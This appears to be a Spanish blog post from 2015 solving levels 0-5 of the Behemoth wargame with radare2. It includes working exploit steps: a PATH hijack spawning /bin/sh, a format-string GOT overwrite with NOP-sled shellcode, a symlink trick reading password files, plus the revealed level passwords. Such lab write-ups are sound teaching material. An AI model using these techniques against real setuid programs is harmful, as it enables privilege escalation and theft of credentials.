domingo, 1 de marzo de 2015

Resolviendo los retos Behemoth con Radare2 [0-5]

¡Saludos!

   La mañana del sábado tuve un hueco y me entretuve en echarle dos horillas a este wargame de overthewire.org. Son retos bastante sencillos, pero entretienen bastante.


Level 0:
========


En primer lugar ejecutamos el programa. Al hacerlo observamos cómo nos pide una password, y si no la acertamos, se cierra. Procedamos a analizar por dentro del binario para ver qué hace:

r2 -d "./behemoth0"
aa
afl
pdf @ main

0x08048632    e8b9fdffff   call 0x1080483f0 ; (sym.imp.strcmp)
|              sym.imp.strcmp()
|           0x08048637    85c0         test eax, eax
|       ,=< 0x08048639    752a         jnz 0x8048665
|       |   0x0804863b    c7042471870. mov dword [esp], str.Accessgranted..
|       |   0x08048642    e8d9fdffff   call 0x108048420 ; (sym.imp.puts)
|       |      sym.imp.puts()
|       |   0x08048647    c7442408000. mov dword [esp+0x8], 0x0
|       |   0x0804864f    c7442404828. mov dword [esp+0x4], str.sh
|       |   0x08048657    c7042485870. mov dword [esp], str.binsh
|       |   0x0804865e    e8fdfdffff   call 0x108048460 ; (sym.imp.execl)
|       |      sym.imp.execl()
|      ,==< 0x08048663    eb0c         jmp loc.08048671
|      |`-> 0x08048665    c704248d870. mov dword [esp], str.Accessdenied..
|      |    ; CODE (CALL) XREF from 0x08048420 (fcn.08048416)
|      |    0x0804866c    e8affdffff   call 0x108048420 ; (sym.imp.puts)


Nos encontramos con una comparación entre dos strings hecha con strcmp(). Tal y como sabemos, strcmp() requiere de dos argumentos (que se corresponden con los dos strings a comparar) y devuelve un 0 si ambos son iguales, 1 y -1 según el primer parámetro sea mayor o menor que el segundo.

Debajo del strcmp() hace un test eax, eax y jnz. En esta parte se evalúa hacia donde enviarnos: zona de chico bueno (garantizándonos una shell) o la zona de chico malo (mensaje de Access denied). Si eax vale 0 (y para que tenga este valor el strcmp() debe de devolver un 0) nos dejará llegar a la shell, si no iremos a la zona de chico malo.

¿Cómo podemos pasar este reto? Hay dos métodos rápidos. Podemos poner un breakpoint antes del test eax, eax y le cambiamos el valor a eax por 0:

db 0x08048637
dr eax=0
dc

O bien podemos poner un breakpoint justo en el strcmp() y ver qué argumentos se le han pasado. En mi caso me decanté por éste:

db 0x08048632
dc
(metemos "AAAA" como password)
pxw @ esp



¡Premio! Vemos cómo le son pasados dos argumentos: "eatmyshorts" y nuestro "AAAA". Probamos la password "eatmyshorts" y ya tenemos nuestra shell para hacer un cat a la password que nos llevará al siguiente nivel.


Level 1
========


Miramos el desensamblado a ver qué se cuece:

r2 -d "./behemoth1"
aa
afl
pdf @ main






 Se trata de un buffer overflow de los de libro. No tiene ningún misterio, y ya se ha explicado prácticamente este mismo ejemplo en varias ocasiones en este blog, por lo que no merece la pena entrar en detalle (por ejemplo es idéntico al reto 5 de io.smashthestack.org => http://blog.0verl0ad.com/2014/10/resolviendo-los-retos-de_27.html )

Level 2
========


Como siempre, miramos qué funciones hay:

r2 -d "./behemoth2"
aa
afl





 Demasiada pereza me da reversear. Si no quedase más remedio nos pondríamos a ello, pero vamos a buscar alternativas más rápidas. ¡Pero si ni siquiera
lo hemos ejecutado! Vamos  a ver qué nos canta

behemoth2@melinda:/behemoth$ ./behemoth2
touch: cannot touch '16295': Permission denied

¿está haciendo algo rollo "system('touch algo')" ? Probemos a ejecutar "touch 12345":

behemoth2@melinda:/behemoth$ touch 12345
touch: cannot touch '12345': Permission denied

Mismo mensaje. O sea, que nuestra teoría es plausible. ¿Colará el viejo truco de añadir un path nuestro a la variable de entorno PATH para que ejecute un programa nuestro en vez de un comando del sistema? Let's play!

mkdir /tmp/xc3ll
echo "/bin/sh" > /tmp/xc3ll/touch
chmod +x /tmp/xc3ll/touch
PATH=/tmp/xc3ll:$PATH
./behemoth2
cat /etc/behemoth_pass/behemoth3

¡Éxito!

Level 3
========


Como siempre, radare2 que te crió:

r2 -d "./behemoth3"
aa
afl
pdf @ main



Viendo el desensamblado de la función main() no noto nada raro en primera instancia. No veo que haya ninguna llamada a /bin/sh o a algún comando del SO, por lo que no se trata de hacer reversing: estamos ante un reto de exploiting. Pero aparentemente no hay ningún buffer overflow. ¿Qué puede ser entonces? ¿Quizás un format string?

behemoth3@melinda:/behemoth$ ./behemoth3                                     
Identify yourself: AAAABBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
Welcome, AAAABBBB.c8.f7fcac20.f7ff2eb6.2.f7ffd000.41414141.42424242.2e78252e.252e7825.78252e78

aaaand goodbye again.
behemoth3@melinda:/behemoth$

¡Premio! Estamos leakeando la memoria. Podemos ver que el sexto "%x" empieza a mostrar el buffer que hemos rellenado. Anteriormente me había encontrado con esta vulnerabilidad en los retos de IO (SMASHTHESTACK.ORG) y también en la máquina virtual FUSION de exploit-exercises. La forma más simple, a mi parecer, de explotar esta vulnerabilidad es sobreescribiendo .ctors o sobreescribiendo la GOT. En ambos casos el objetivo es el mismo: que la ejecución salte hacia nuestro shellcode (bien cuando termine main() o bien cuando se vaya a la función después del printf vulnerable). En arras de hacernos la vida más fácil, el shellcode lo alojaremos en una variable de entorno.

Una vez trazado el plan, pongámonos manos a la obra.

export SHIT=$(perl -e 'print "\x90" x 200 . "\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x59\xb2\x0a\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x54\x72\x79\x20\x68\x61\x72\x64\x65\x72";')

¿Qué direcciones vamos a sobreescribir?

r2 -d "./behemoth3"
aa
ir

Output:
[0xf7fdd0d0]> ir
[Relocations]
addr=0x08049788 off=0x00000788 type=SET_32 printf
addr=0x0804978c off=0x0000078c type=SET_32 fgets
addr=0x08049790 off=0x00000790 type=SET_32 puts
addr=0x08049794 off=0x00000794 type=SET_32 __gmon_start__
addr=0x08049798 off=0x00000798 type=SET_32 __libc_start_main

5 relocations

Si recordamos el desesamblado, después del printf vulnerable venía un puts. Por lo tanto vamos a tener que sobreescribir  0x08049790  con la dirección donde tengamos nuestro colchón de NOPs (hacemos un pxw 2300 @ esp y buscamos los NOPs, en nuestro caso 0xffffdf10). Montemos un exploit (recordad que vimos que el buffer empezaba en el sexto grupo):

Creamos un archivo de texto para sólo tener que hacer un "cat":

$got = "\x90\x97\x04\x08\x92\x97\x04\x08";
$junk = "%57065c%6\$hn%8462c%7\$hn"; # ~ 0xffffdf10 (sobre cómo se calcula, qué diablos estamos haciendo y otras preguntas => http://julianor.tripod.com/bc/NN-formats.txt, con este manual empecé. Otra opción es invitarle a una cerveza a @ca0s y que te lo cuente).
print $got.$junk;


echo $(perl /tmp/fk.pl) > /tmp/we.txt
cat /tmp/we.txt | ./behemoth3

cat /etc/behemoth_pass/behemoth4
ietheishei

¡A por el nivel 4!


Level 4
=========

Tiramos de radare2 para echar un ojo al desensamblado

/ (fcn) main 201
|           0x080485dd    55           push ebp
|           0x080485de    89e5         mov ebp, esp
|           0x080485e0    83e4f0       and esp, 0xfffffff0
|           0x080485e3    83ec40       sub esp, 0x40
|           0x080485e6    65a114000000 mov eax, [gs:0x14]
|           0x080485ec    8944243c     mov [esp+0x3c], eax
|           0x080485f0    31c0         xor eax, eax
|           ; CODE (CALL) XREF from 0x08048466 (fcn.08048466)
|           ; CODE (CALL) XREF from 0x08048496 (fcn.08048496)
|           ; CODE (CALL) XREF from 0x080484d6 (fcn.080484d6)
|           ; CODE (CALL) XREF from 0x080484a6 (fcn.080484a6)
|           ; CODE (CALL) XREF from 0x08048476 (fcn.08048476)
|           ; CODE (CALL) XREF from 0x080484b6 (fcn.080484b6)
|           ; CODE (CALL) XREF from 0x080484c6 (fcn.080484c6)
|           ; CODE (CALL) XREF from 0x08048486 (fcn.08048486)
|           0x080485f2    e869feffff   call 0x108048460 ; (sym.imp.getpid)
|              sym.imp.getpid(unk)
|           0x080485f7    8944241c     mov [esp+0x1c], eax
|           0x080485fb    8b44241c     mov eax, [esp+0x1c]
|           0x080485ff    89442408     mov [esp+0x8], eax
|           0x08048603    c7442404408. mov dword [esp+0x4], 0x8048740
|           0x0804860b    8d442428     lea eax, [esp+0x28]
|           0x0804860f    890424       mov [esp], eax
|           0x08048612    e8b9feffff   call 0x1080484d0 ; (sym.imp.sprintf)
|              sym.imp.sprintf()
|           0x08048617    c7442404488. mov dword [esp+0x4], 0x8048748
|           0x0804861f    8d442428     lea eax, [esp+0x28]
|           0x08048623    890424       mov [esp], eax
|           0x08048626    e875feffff   call 0x1080484a0 ; (sym.imp.fopen)
|              sym.imp.fopen()
|           0x0804862b    89442420     mov [esp+0x20], eax
|           0x0804862f    837c242000   cmp dword [esp+0x20], 0x0
|       ,=< 0x08048634    750e         jnz 0x8048644
|       |   0x08048636    c704244a870. mov dword [esp], str.PIDnotfound
|       |   0x0804863d    e82efeffff   call 0x108048470 ; (sym.imp.puts)
|       |      sym.imp.puts()
|      ,==< 0x08048642    eb49         jmp loc.0804868d
|      |`-> 0x08048644    c7042401000. mov dword [esp], 0x1
|      |    0x0804864b    e8f0fdffff   call 0x108048440 ; (sym.imp.sleep)
|      |       sym.imp.sleep()
|      |    0x08048650    c7042459870. mov dword [esp], str.Finishedsleepingfgetcing
|      |    ; CODE (CALL) XREF from 0x08048470 (fcn.08048466)
|      |    0x08048657    e814feffff   call 0x108048470 ; (sym.imp.puts)
|      |       sym.imp.puts()
|     ,===< 0x0804865c    eb0c         jmp 0x804866a ; (fcn.080485ae)
|    .----> 0x0804865e    8b442424     mov eax, [esp+0x24]
|- fcn.0804866a 68
|    |||    0x08048662    890424       mov [esp], eax
|    |||    0x08048665    e846feffff   call 0x1080484b0 ; (sym.imp.putchar)
|    |||       sym.imp.putchar()
|    ||     ; CODE (CALL) XREF from 0x0804865c (fcn.080485ae)
|    |`---> 0x0804866a    8b442420     mov eax, [esp+0x20]
|    | |    0x0804866e    890424       mov [esp], eax
|    | |    0x08048671    e84afeffff   call 0x1080484c0 ; (sym.imp.fgetc)
|    | |       sym.imp.fgetc()
|    | |    0x08048676    89442424     mov [esp+0x24], eax
|    | |    0x0804867a    837c2424ff   cmp dword [esp+0x24], 0xffffffff
|    `====< 0x0804867f    75dd         jnz 0x10804865e
|      |    0x08048681    8b442420     mov eax, [esp+0x20]
|      |    0x08048685    890424       mov [esp], eax
|      |    0x08048688    e8a3fdffff   call 0x108048430 ; (sym.imp.fclose)
|      |       sym.imp.fclose()
|      |    ; CODE (CALL) XREF from 0x08048642 (fcn.080485ae)
|- loc.0804868d 25
|      `--> 0x0804868d    b800000000   mov eax, 0x0
|           0x08048692    8b54243c     mov edx, [esp+0x3c]
|           0x08048696    65331514000. xor edx, [gs:0x14]
|           0x0804869d    7405         jz 0x80486a4
|           ; CODE (CALL) XREF from 0x08048450 (fcn.08048446)
|           0x0804869f    e8acfdffff   call 0x108048450 ; (sym.imp.__stack_chk_fail)
|              sym.imp.__stack_chk_fail()
|           0x080486a4    c9           leave
\           0x080486a5    c3           ret


Leyendo en diagonal vemos que hace un fopen() a un archivo, si existe lo muestra y si no lanza un mensaje de "PID not found". En primer lugar, ¿a qué archivo le hace fopen()?

db 0x08048626
dc
pxw @ esp

0xffffd680  0xffffd6a8 0x08048748 0x000028ec 0x08048401  ....H....(......
0xffffd690  0xffffd89d 0x0000002f 0x0804a000 0x000028ec  ..../........(..
0xffffd6a0  0x00000001 0xffffd764 0x706d742f 0x3430312f  ....d.../tmp/104
0xffffd6b0  0xf7003637 0xf7ffd000 0x080486bb 0x7a172a00  76...........*.z

Un archivo en /tmp/ cuyo nombre es 10476. Pensando un poco, hemos visto que se ejecutaba la función getpid() y que el mensaje de "bad boy" es "PID not found". ¿Cual es el PID actual del programa?

i

file    /games/behemoth/behemoth4
type    EXEC (Executable file)
pic    false
has_va    true
root    elf
class    ELF32
lang    c
arch    x86
bits    32
machine    Intel 80386
os    linux
subsys    linux
endian    little
strip    false
static    false
linenum    true
lsyms    true
relocs    true
rpath    NONE
type    EXEC (Executable file)
os    linux
arch    Intel 80386
bits    32
endian    little
file    /games/behemoth/behemoth4
fd    10476
size    0xffffffff
mode    rwx
block    0x100
uri    dbg://./behemoth4


¡Premio! El PID es el mismo (nuestro PID es 10476 y fopen() lo hace a /tmp/10476). Si creamos un enlace simbólico en /tmp/10476 que esté apuntando a /etc/behemoth_pass/behemoth5, cuando haga el fopen() y muestre el contenido del fichero estaremos viendo el password para iniciar el siguiente nivel.

ln -s /etc/behemoth_pass/behemoth5 /tmp/10476

¿Cual es el problema? Que en cada ejeución el PID va a cambiar. ¿Cual es la solución? ¡Bruteforcear!


while(1) {
        $a = `/behemoth/behemoth4`;
        if ($a !~ /not/) { print $a; exit;}
}


behemoth4@melinda:/behemoth$ perl /tmp/wh.pl
Finished sleeping, fgetcing
aizeeshing

¡A por el nivel 5!

Level 5
==========

Radare2 y veamos que está pasando (sólo pongo las porciones interesantes)

0x0804873d    55           push ebp
|           0x0804873e    89e5         mov ebp, esp
|           0x08048740    83e4f0       and esp, 0xfffffff0
|           0x08048743    83ec50       sub esp, 0x50
|           0x08048746    8b450c       mov eax, [ebp+0xc]
|           0x08048749    8944241c     mov [esp+0x1c], eax
|           0x0804874d    65a114000000 mov eax, [gs:0x14]
|           0x08048753    8944244c     mov [esp+0x4c], eax
|           0x08048757    31c0         xor eax, eax
|           0x08048759    c7442424000. mov dword [esp+0x24], 0x0
|           0x08048761    c7442404f08. mov dword [esp+0x4], 0x80489f0
|           0x08048769    c70424f2890. mov dword [esp], str.etcbehemoth_passbehemoth6
|           0x08048770    e85bfeffff   call 0x1080485d0 ; (sym.imp.fopen)
...
...


Un fopen() a /etc/behemoth_pass/behemoth6. Parece interesante, prosigamos:

...
...
|           0x08048822    c70424158a0. mov dword [esp], str.localhost
|           0x08048829    e8f2fdffff   call 0x108048620 ; (sym.imp.gethostbyname)
|              sym.imp.gethostbyname()
|           0x0804882e    89442430     mov [esp+0x30], eax
|           0x08048832    837c243000   cmp dword [esp+0x30], 0x0
|      ,==< 0x08048837    7518         jnz 0x8048851
|      |    0x08048839    c704241f8a0. mov dword [esp], str.gethostbyname
|      |    0x08048840    e81bfdffff   call 0x108048560 ; (sym.imp.perror)
|      |       sym.imp.perror()
|      |    0x08048845    c7042401000. mov dword [esp], 0x1
|      |    0x0804884c    e83ffdffff   call 0x108048590 ; (sym.imp.exit)
|      |       sym.imp.exit()
|      `--> 0x08048851    c7442408000. mov dword [esp+0x8], 0x0
|           0x08048859    c7442404020. mov dword [esp+0x4], 0x2
|           0x08048861    c7042402000. mov dword [esp], 0x2
|           0x08048868    e8a3fdffff   call 0x108048610 ; (sym.imp.socket)
|              sym.imp.socket()
|           0x0804886d    89442434     mov [esp+0x34], eax
|           0x08048871    837c2434ff   cmp dword [esp+0x34], 0xffffffff
|     ,===< 0x08048876    7518         jnz 0x8048890
|     |     0x08048878    c704242d8a0. mov dword [esp], str.socket
|     |     0x0804887f    e8dcfcffff   call 0x108048560 ; (sym.imp.perror)
|     |        sym.imp.perror()
|     |     0x08048884    c7042401000. mov dword [esp], 0x1
|     |     0x0804888b    e800fdffff   call 0x108048590 ; (sym.imp.exit)
|     |        sym.imp.exit()
|     `---> 0x08048890    66c744243c0. mov word [esp+0x3c], 0x2
|           0x08048897    c70424348a0. mov dword [esp], str.1337
|           0x0804889e    e85dfdffff   call 0x108048600 ; (sym.imp.atoi)
|              sym.imp.atoi()
...
...

Leyendo en diagonal, vemos la palabra socket, vemos localhost y 1337. Vamos a conectarnos con nc, a ver qué se cuece:

((sleep 1; /behemoth/behemoth5) & nc -l 1337) 2> /dev/null

Nada. Qué raro, si debiéramos de estar viendo algo ahí. Después de media hora probando idioteces, me di cuenta de que era UDP.

((sleep 1; /behemoth/behemoth5) & nc -ul 1337) 2> /dev/null

¡A por el 6! (otro finde x'D)

Byt3z!





5 0verl0ad Labs: Resolviendo los retos Behemoth con Radare2 [0-5] ¡Saludos!    La mañana del sábado tuve un hueco y me entretuve en echarle dos horillas a este wargame de overthewire.org. Son retos bastan...
< >